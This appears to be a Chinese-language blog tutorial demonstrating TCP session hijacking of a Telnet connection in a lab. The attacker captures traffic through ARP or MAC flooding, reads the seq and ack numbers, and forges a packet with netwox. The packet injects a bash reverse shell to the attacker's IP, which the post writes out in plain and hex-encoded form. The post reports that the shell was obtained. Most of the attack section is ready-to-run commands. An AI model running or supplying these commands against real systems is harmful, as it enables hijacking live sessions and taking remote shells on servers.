获取到客户端与服务端的TCP建立会话,获取最后一个TCP报文的seq和ack,进行伪造数据包,回应服务端
思路
1. 获取客户端与服务端的TCP会话包 (可利用ARP或MAC洪泛)
2. 观察服务端发给客户端的最后一个TCP报文
3. 同过已知信息,伪造一个数据包发送给服务端
4. 原理:知道下一个期望包的确认号和下一个期望的序列号的值,也就是知道了服务端下一个希望收到客户端的发送包的seq和ack
复现
1. 服务端IP:192.168.0.100
2. 攻击IP:192.168.0.104
3. 攻击服务:telnet
4. 这里就方便演示,攻击IP既是客户端+攻击
攻击服务
- 服务:
SSH 端口:22 传输:公钥加密传送
- 服务:
Telnet 端口:23 传输:明文传输
选择Telnet服务原因,是因为Telnet明文传输没有加密
ssh公钥加密传送,并支持压缩,在登录时候就要接受密匙,来进一步提高的安全性;而Telnet没有使用公钥
获取会话数据包
获取序列号
将TCP报文的协议首选项中的计算 Relative seqnuence numbers 的默认选项去掉,即不让他默认给我们计算,要伪造TCP包,不能用默认计算后的结果来伪造
采集到得信息
- 服务:
Telnet
- 服务IP端口:
192.168.0.100
Port:23
- 客户IP端口:
192.168.0.104
Port:56732
- Next sequence number:
3850522516
- Acknowledgment number:
2138611993
16进制攻击代码
自定义要执行攻击代码,这里就反弹一个Linux Shell
Linux Bash 反弹Shell
bash -i>&/dev/tcp/192.168.0.104/344 0>&1
转换成16进制文本后
在末尾添加0d00
即:0d为\r表示回到首行,00为\n表示换行
62617368202d693e262f6465762f7463702f3139322e3136382e302e3130342f33343420303e26310d00
伪造数据包
- 伪造数据包工具:
netwox
kali 安装: netwox
apt-get install netwox
netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src IP地址 --ip4-dst IP地址 --tcp-src 客户端口 --tcp-dst 服务端口 --tcp-seqnum 值 --tcp-acknum 值 –tcp-ack --tcp-psh --tcp-window 227 --tcp-data “执行代码”
最后实验代码
netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.0.104 --ip4-dst 192.168.0.100 --tcp-src 56732 --tcp-dst 23 --tcp-seqnum 2138611993 --tcp-acknum 3850522516 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data 62617368202d693e262f6465762f7463702f3139322e3136382e302e3130342f33343420303e26310d00
发送伪造数据包
服务端回应
成功代码执行,接受到Shell
攻击者冒充了客户端,攻击者Kali将源目IP、源目端口、ACK、SEQ都伪造了,服务端无法判断,服务端给攻击者回应,一旦回应,攻击者Kali直接登录到服务端上
并且真实的客户端连接的Telnet服务会被断开,从而与攻击者Kali建立连接
1 条评论
有交流群吗?